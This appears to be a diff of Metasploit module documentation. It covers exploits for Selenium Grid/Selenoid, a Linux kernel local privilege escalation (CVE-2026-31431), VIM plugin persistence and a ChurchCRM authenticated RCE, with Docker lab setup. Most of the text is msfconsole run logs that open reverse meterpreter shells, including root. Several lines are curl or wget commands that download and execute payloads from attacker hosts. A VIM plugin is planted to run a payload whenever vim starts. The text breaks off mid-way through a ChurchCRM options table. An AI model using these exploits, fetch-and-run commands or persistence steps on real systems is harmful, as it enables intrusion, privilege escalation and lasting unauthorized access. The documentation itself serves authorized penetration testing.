Browser to exploit. Default is `auto` which detects available browsers and picks the
|
||||
best vector (Firefox preferred, Chrome fallback). Can be set to `firefox` or `chrome`
|
||||
to force a specific browser.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Firefox (auto-detected) - selenium/standalone-firefox:4.40.0 on Ubuntu 24.04
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_rce
|
||||
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4480
|
||||
LPORT => 4480
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set FETCH_SRVPORT 9100
|
||||
FETCH_SRVPORT => 9100
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > run
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4480
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Selenium Grid 4.40.0 with Firefox (all versions vulnerable to profile handler)
|
||||
[*] Auto-selected Firefox (profile handler - works on all Grid versions)
|
||||
[*] Creating Firefox session with malicious profile...
|
||||
[*] Session created: 74d019ac-e7eb-4604-9c48-80baf43da5d9
|
||||
[*] Navigating to data: URI to trigger handler...
|
||||
[*] Sending stage (3090404 bytes) to 172.17.0.5
|
||||
[+] Deleted /tmp/EUeiCPJfsLF
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4480 -> 172.17.0.5:37004)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: seluser
|
||||
meterpreter > sysinfo
|
||||
Computer : 56a95484dc83
|
||||
OS : Linux 6.14.0-123037-tuxedo
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Chrome (auto-detected) - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_rce
|
||||
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4481
|
||||
LPORT => 4481
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > run
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4481
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 with Chrome (vulnerable to binary override)
|
||||
[*] Auto-selected Chrome (binary override)
|
||||
[*] Sending Chrome session request with binary override...
|
||||
[*] Sending stage (23404 bytes) to 172.17.0.7
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4481 -> 172.17.0.7:50292)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: seluser
|
||||
meterpreter > sysinfo
|
||||
Computer : 90f5a4eefae5
|
||||
OS : Linux 6.14.0-123037-tuxedo
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Selenoid 1.11.3 - selenoid/chrome:128.0 on Ubuntu 24.04
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/selenium_greed_rce
|
||||
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
|
||||
LHOST => 172.17.0.1
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4453
|
||||
LPORT => 4453
|
||||
msf6 exploit(linux/http/selenium_greed_rce) > run
|
||||
[*] Started reverse TCP handler on 172.17.0.1:4453
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Selenoid 1.11.3 built at 2024-05-25_12:34:40PM (all versions vulnerable)
|
||||
[*] Auto-selected Chrome (binary override)
|
||||
[*] Sending Chrome session request with binary override...
|
||||
[*] Sending stage (23408 bytes) to 172.17.0.10
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:4453 -> 172.17.0.10:42984)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: selenium
|
||||
meterpreter > sysinfo
|
||||
Computer : 669a719f93da
|
||||
OS : Linux 6.14.0-123037-tuxedo
|
||||
Architecture : x64
|
||||
Meterpreter : python/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,80 @@
|
||||
## Vulnerable Application
|
||||
|
||||
CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
|
||||
AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
|
||||
4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
|
||||
on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
|
||||
privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
|
||||
The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
|
||||
affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Obtain a session on an affected Linux host
|
||||
2. Set the PAYLOAD and related datastore options
|
||||
3. Run the exploit
|
||||
|
||||
## Options
|
||||
|
||||
N/A
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 24.04 x64
|
||||
|
||||
```
|
||||
msf exploit(multi/ssh/sshexec) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.159.128:4444
|
||||
[*] 192.168.159.132:22 - Sending stager...
|
||||
[*] Command Stager progress - 46.74% done (402/860 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 192.168.159.132
|
||||
[*] Meterpreter session 24 opened (192.168.159.128:4444 -> 192.168.159.132:38262) at 2026-04-30 14:50:33 -0400
|
||||
[!] Timed out while waiting for command to return
|
||||
[*] Command Stager progress - 100.00% done (860/860 bytes)
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: smcintyre
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu2404
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-79-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 24...
|
||||
msf exploit(multi/ssh/sshexec) > use exploit/linux/local/cve_2026_31431_copy_fail
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/local/cve_2026_31431_copy_fail) > set SESSION -1
|
||||
SESSION => -1
|
||||
msf exploit(linux/local/cve_2026_31431_copy_fail) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf exploit(linux/local/cve_2026_31431_copy_fail) > set LPORT 5555
|
||||
LPORT => 5555
|
||||
msf exploit(linux/local/cve_2026_31431_copy_fail) > exploit
|
||||
[*] Command to run on remote host: curl -so ./JVvusljc http://192.168.159.128:8080/dau8JtEFWcUux21CRy4HUQ;chmod +x ./JVvusljc;./JVvusljc&
|
||||
[*] Fetch handler listening on 192.168.159.128:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /dau8JtEFWcUux21CRy4HUQ
|
||||
[*] Started reverse TCP handler on 192.168.159.128:5555
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Using 'python3' on the remote target.
|
||||
[+] The exploit socket has been created, encryption primitives are available.
|
||||
[*] Triggering the vulnerability using Python...
|
||||
[+] The target is vulnerable.
|
||||
[*] Triggering the vulnerability using Python...
|
||||
[*] Client 192.168.159.132 requested /dau8JtEFWcUux21CRy4HUQ
|
||||
[*] Sending payload to 192.168.159.132 (curl/8.5.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 192.168.159.132
|
||||
[*] Meterpreter session 25 opened (192.168.159.128:5555 -> 192.168.159.132:48976) at 2026-04-30 14:51:18 -0400
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : ubuntu2404
|
||||
OS : Ubuntu 24.04 (Linux 6.8.0-79-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module creates a VIM Plugin which executes a payload on VIM startup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application if needed
|
||||
2. Start msfconsole
|
||||
3. Get a shell on a linux computer with vim installed
|
||||
4. Do: `use exploit/linux/persistence/vim_persistence`
|
||||
5. Do: `run`
|
||||
6. Start `vim` on the remote computer
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
### NAME
|
||||
|
||||
Name of the extension. Defaults to random.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### vim 9.1.2141 on Kali 2026.1
|
||||
|
||||
```
|
||||
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
||||
verbose => true
|
||||
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
||||
lhost => 1.1.1.1
|
||||
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set target 7
|
||||
target => 7
|
||||
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
|
||||
srvport => 8082
|
||||
resource (/root/.msf4/msfconsole.rc)> set uripath l
|
||||
uripath => l
|
||||
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
resource (/root/.msf4/msfconsole.rc)> set lport 4446
|
||||
lport => 4446
|
||||
resource (/root/.msf4/msfconsole.rc)> run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4446
|
||||
[*] Using URL: http://1.1.1.1:8082/l
|
||||
[*] Server started.
|
||||
[*] Run the following command on the target machine:
|
||||
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
|
||||
msf exploit(multi/script/web_delivery) >
|
||||
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
|
||||
|
||||
msf exploit(multi/script/web_delivery) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: h00die
|
||||
meterpreter > sysinfo
|
||||
Computer : h00die-kali
|
||||
OS : Debian (Linux 6.18.12+kali-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf exploit(linux/persistence/vim_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(linux/persistence/vim_persistence) > exploit
|
||||
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
|
||||
[*] Exploit running as background job 1.
|
||||
[*] Exploit completed, but no session was created.
|
||||
|
||||
[*] Fetch handler listening on 1.1.1.1:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
|
||||
[!] The service is running, but could not be validated. VIM is installed
|
||||
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
|
||||
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
|
||||
```
|
||||
|
||||
Open vim
|
||||
|
||||
```
|
||||
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
|
||||
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 1.1.1.1
|
||||
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
|
||||
```
|
||||
@@ -0,0 +1,516 @@
|
||||
## Vulnerable Application
|
||||
|
||||
ChurchCRM is an open-source, PHP-based CRM designed to help churches manage members, groups, events, and finances.
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an authenticated Remote Code Execution (RCE) vulnerability in ChurchCRM versions prior to 6.2.0. The vulnerability, tracked as [CVE-2025-68109](https://nvd.nist.gov/vuln/detail/CVE-2025-68109), resides in the database restoration functionnality.
|
||||
|
||||
The application fails to properly validate the integrity and format of uploaded backup files during the restoration process. Specifically, even when file is identified as malfomed or invalid, it is still writen to a web-accessible directory.
|
||||
|
||||
An autenticated attacker can leverage this behavior to upload a malicious `.htaccess` file to reconfigure the server's directory permissions, followed by a PHP payload. This allow for the execution of arbitrary code under the context of the web server user.
|
||||
|
||||
- Project Homepage: https://churchcrm.io/
|
||||
- Source Code: https://github.com/ChurchCRM/CRM
|
||||
- Vulnerability Reference: https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77
|
||||
|
||||
### Versions tested
|
||||
|
||||
- ChurchCRM 6.2.0 (vulnerable)
|
||||
- ChurchCRM 6.1.0 (vulnerable)
|
||||
- ChurchCRM 6.0.2 (vulnerable)
|
||||
|
||||
### Docker installation
|
||||
|
||||
To quickly set up a testing environment for this module, you can use the following Docker configuration. This setup mimics a fresh installation of **ChurchCRM** on an Ubuntu-based LAMP stack and setup the admin user.
|
||||
|
||||
- Create a file named `Dockerfile` with the following content:
|
||||
|
||||
```Dockerfile
|
||||
FROM ubuntu:22.04
|
||||
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
ARG DB_NAME=churchcrm
|
||||
ARG DB_USER=churchcrm
|
||||
ARG DB_PASS=churchcrm_password
|
||||
ARG CHURCHCRM_VERSION=6.8.0
|
||||
ARG ADMIN_PASS
|
||||
|
||||
RUN apt-get update && apt-get install -y software-properties-common \
|
||||
&& add-apt-repository ppa:ondrej/php -y \
|
||||
&& apt-get update \
|
||||
&& apt-get update && apt-get install -y \
|
||||
apache2 mariadb-server mariadb-client php8.4 php-bcmath \
|
||||
php-cli php-curl php-dev php-gd php-intl php-mbstring \
|
||||
php-mysql php-soap php-xml php-zip unzip curl gawk \
|
||||
&& apt-get clean
|
||||
|
||||
ENV VERSION=${CHURCHCRM_VERSION}
|
||||
|
||||
WORKDIR /tmp
|
||||
RUN curl -L -o churchcrm.zip https://github.com/ChurchCRM/CRM/releases/download/$VERSION/ChurchCRM-$VERSION.zip \
|
||||
&& unzip churchcrm.zip \
|
||||
&& mv churchcrm /var/www/html/ \
|
||||
&& mkdir -p /var/www/html/churchcrm/Images/Family \
|
||||
&& mkdir -p /var/www/html/churchcrm/Images/Person \
|
||||
&& chown -R www-data:www-data /var/www/html/churchcrm \
|
||||
&& rm churchcrm.zip
|
||||
|
||||
RUN printf "file_uploads = On\n\
|
||||
allow_url_fopen = On\n\
|
||||
short_open_tag = On\n\
|
||||
memory_limit = 256M\n\
|
||||
upload_max_filesize = 100M\n\
|
||||
max_execution_time = 360" > /etc/php/8.4/apache2/conf.d/99-churchcrm.ini
|
||||
|
||||
RUN echo '<VirtualHost *:80>\n\
|
||||
DocumentRoot /var/www/html/churchcrm/\n\
|
||||
<Directory /var/www/html/churchcrm/>\n\
|
||||
Options -Indexes +FollowSymLinks\n\
|
||||
AllowOverride All\n\
|
||||
Require all granted\n\
|
||||
</Directory>\n\
|
||||
ErrorLog ${APACHE_LOG_DIR}/error.log\n\
|
||||
CustomLog ${APACHE_LOG_DIR}/access.log combined\n\
|
||||
</VirtualHost>' > /etc/apache2/sites-available/churchcrm.conf
|
||||
|
||||
RUN a2enmod rewrite && a2dissite 000-default.conf && a2ensite churchcrm.conf
|
||||
|
||||
COPY start.sh /start.sh
|
||||
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
|
||||
|
||||
ENV DB_NAME=${DB_NAME}
|
||||
ENV DB_USER=${DB_USER}
|
||||
ENV DB_PASS=${DB_PASS}
|
||||
ENV ADMIN_PASS=${ADMIN_PASS}
|
||||
|
||||
EXPOSE 80
|
||||
|
||||
CMD ["/start.sh"]
|
||||
```
|
||||
|
||||
- Create a file named `docker-compose.yml` in the same directory:
|
||||
|
||||
```yaml
|
||||
services:
|
||||
churchcrm:
|
||||
build:
|
||||
context: .
|
||||
args:
|
||||
- CHURCHCRM_VERSION=6.2.0
|
||||
- DB_NAME=churchcrm
|
||||
- DB_USER=churchcrm
|
||||
- DB_PASS=churchcrm_password
|
||||
- ADMIN_PASS=AdminPassword123
|
||||
container_name: churchcrm_app
|
||||
image: churchcrm-image:latest
|
||||
ports:
|
||||
- "80:80"
|
||||
volumes:
|
||||
- churchcrm_db_data:/var/lib/mysql
|
||||
- churchcrm_web_data:/var/www/html/churchcrm
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
churchcrm_db_data:
|
||||
churchcrm_web_data:
|
||||
```
|
||||
|
||||
- Create a file named `start.sh` in the same directory too :
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
set -e
|
||||
|
||||
service mariadb start
|
||||
|
||||
mariadb -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME} DEFAULT CHARACTER SET utf8;"
|
||||
mariadb -e "GRANT ALL ON ${DB_NAME}.* TO \"${DB_USER}\"@\"localhost\" IDENTIFIED BY \"${DB_PASS}\";"
|
||||
mariadb -e "FLUSH PRIVILEGES;"
|
||||
|
||||
BASE_PASSWORD="changeme"
|
||||
LOG_URL="http://localhost/session/begin"
|
||||
LOG_USERNAME="admin"
|
||||
LOG_PASSWORD="$BASE_PASSWORD"
|
||||
COOKIE_FILENAME="/tmp/cookie.txt"
|
||||
|
||||
function get_cookie() {
|
||||
local cookie_file=$1
|
||||
curl -s "$LOG_URL" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-L -c "$cookie_file" \
|
||||
--data "User=$LOG_USERNAME&Password=$LOG_PASSWORD" > /dev/null
|
||||
}
|
||||
|
||||
function get_csrf_token() {
|
||||
local URL=$1
|
||||
local result=$(curl -s -L -b "$COOKIE_FILENAME" "$URL")
|
||||
echo "$result" | grep -oP 'name="csrf_token" value="\K[^"]+'
|
||||
}
|
||||
|
||||
function change_password() {
|
||||
local URL='http://localhost/v2/user/current/changepassword'
|
||||
local OLD_PASSWORD=$1
|
||||
local NEW_PASSWORD=$2
|
||||
local CSRF=$(get_csrf_token "$URL")
|
||||
|
||||
curl -s "$URL" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-L -b "$COOKIE_FILENAME" \
|
||||
--data "csrf_token=$CSRF&OldPassword=$OLD_PASSWORD&NewPassword1=$NEW_PASSWORD&NewPassword2=$NEW_PASSWORD&Submit=Save" \
|
||||
> /dev/null
|
||||
}
|
||||
|
||||
(
|
||||
until curl --output /dev/null --silent --head --fail http://localhost/; do
|
||||
echo "En attente d'Apache..."
|
||||
sleep 2
|
||||
done
|
||||
|
||||
echo "Initialisation du setup ChurchCRM..."
|
||||
curl -s "http://localhost/setup/" -X POST \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "DB_SERVER_NAME=localhost&DB_SERVER_PORT=3306&DB_NAME=${DB_NAME}&DB_USER=${DB_USER}&DB_PASSWORD=${DB_PASS}&ROOT_PATH=/&URL=http://localhost/"
|
||||
|
||||
echo "Changement du mot de passe admin..."
|
||||
get_cookie "$COOKIE_FILENAME"
|
||||
change_password "$BASE_PASSWORD" "$ADMIN_PASS"
|
||||
|
||||
rm -f "$COOKIE_FILENAME"
|
||||
echo "Configuration terminée avec succès."
|
||||
) &
|
||||
|
||||
exec apachectl -D FOREGROUND
|
||||
```
|
||||
|
||||
Then, run the following command to start the vulnerable application :
|
||||
|
||||
```bash
|
||||
docker compose build --build-arg CHURCHCRM_VERSION=VERSION_YOU_WANT --build-arg ADMIN_PASS='CUSTOMPASSWORD' && docker compose up -d
|
||||
```
|
||||
|
||||
Where
|
||||
- `VERSION_YOU_WANT` is the version of ChurchCRM you want to test. To test the vulnerability, you can use version `6.2.0` which is the version tested in the PoC.
|
||||
- `ADMIN_PASS` is the password of the administrator account. Be aware that this password require a size of at least 6 characters. By default the password is `AdminPassword123`.
|
||||
|
||||
Once started, the application will be available at `http://<your-ip>/`.
|
||||
|
||||
### Linux installation
|
||||
|
||||
If you prefer to set up ChurchCRM on a dedicated Linux host or an LXD container, you can use the official installation script present in the [source code](https://github.com/ChurchCRM/CRM/archive/refs/tags/5.2.0.zip).
|
||||
|
||||
> [!WARNING] By default, the installer fetches the latest version of ChurchCRM. To test this specific exploit, you **must** force the script to use the version you want.
|
||||
|
||||
For example, if you want to test version `6.2.0`, you can modify the `VERSION` variable in the installation script as follows :
|
||||
|
||||
```shell
|
||||
VERSION=$(eval "$VERSION_CMD") #112
|
||||
# Become
|
||||
VERSION="6.2.0"
|
||||
```
|
||||
|
||||
The application should also be available at `http://<your-ip>/`. You will need to manualy setup the admin account's password in order to have access to the restore database functionnality.
|
||||
|
||||
## Verification step
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. `use exploit/multi/http/churchcrm_db_restore_rce`
|
||||
3. Set the target `RHOSTS` and `RPORT` according to the target Host and the port which ChurchCRM's service is running.
|
||||
4. Set your host and port for the reverse shell connection at `LHOST` and `LPORT`.
|
||||
5. Set the `TARGETURI` which represent the base path that lead to the ChurchCRM page.
|
||||
6. Set the `USERNAME` and `PASSWORD` of the admin account.
|
||||
7. Set the target (0 for Linux, 1 for PHP (In-Memory), 2 for PHP (Fetch)).
|
||||
8. Set the payload you want to use.
|
||||
9. Run the exploit with `run`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Linux target : ChurchCRM 6.2.0 on Ubuntu 22.04 LTS (Docker Image)
|
||||
|
||||
```bash
|
||||
msf > use exploit/multi/http/churchcrm_db_restore_rce
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
|
||||
LHOST => 172.18.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 0
|
||||
target => 0
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload linux/x64/meterpreter/reverse_tcp
|
||||
payload => linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
|
||||
PASSWORD => Password123!
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
|
||||
|
||||
Module options (exploit/multi/http/churchcrm_db_restore_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD Password123! yes Password for the admin account
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVSSL false no Negotiate SSL/TLS for local server connections
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME admin yes Username for the admin account
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
|
||||
all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (linux/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux/unix Command (CmdStager)
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > check
|
||||
[*] Found ChurchCRM version: 6.2.0
|
||||
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.2.0 detected via CRM-VERSION header.
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > run
|
||||
[*] Started reverse TCP handler on 172.18.0.1:4444
|
||||
[*] Getting the session cookie
|
||||
[+] The session cookie has been received
|
||||
[*] Uploading the file : .htaccess
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Uploading the file : basmIMy.php
|
||||
[+] The file have been uploaded successfully
|
||||
[*] Trying to execute the payload
|
||||
[*] Command Stager progress - 59.76% done (499/835 bytes)
|
||||
[*] Sending stage (3090404 bytes) to 172.18.0.2
|
||||
[+] Deleted .htaccess
|
||||
[+] Deleted basmIMy.php
|
||||
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:58848) at 2026-03-06 09:23:07 +0100
|
||||
[*] Command Stager progress - 100.00% done (835/835 bytes)
|
||||
[+] Payload successfully executed
|
||||
|
||||
meterpreter > getpid
|
||||
Current pid: 259
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : 01209387574a
|
||||
OS : Ubuntu 22.04 (Linux 6.18.13-arch1-1)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### PHP (In-Memory) target : ChurchCRM 6.0.2 on Ubuntu 22.04 LTS (Docker Image)
|
||||
|
||||
```bash
|
||||
msf > use exploit/multi/http/churchcrm_db_restore_rce
|
||||
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
|
||||
RHOSTS => 127.0.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
|
||||
LHOST => 172.18.0.1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 1
|
||||
target => 1
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
|
||||
PASSWORD => Password123!
|
||||
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
|
||||
|
||||
Module options (exploit/multi/http/churchcrm_db_restore_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD Password123! yes Password for the admin account
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
|
||||
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVSSL false no Negotiate SSL/TLS for local server connections
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI / yes Base path
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
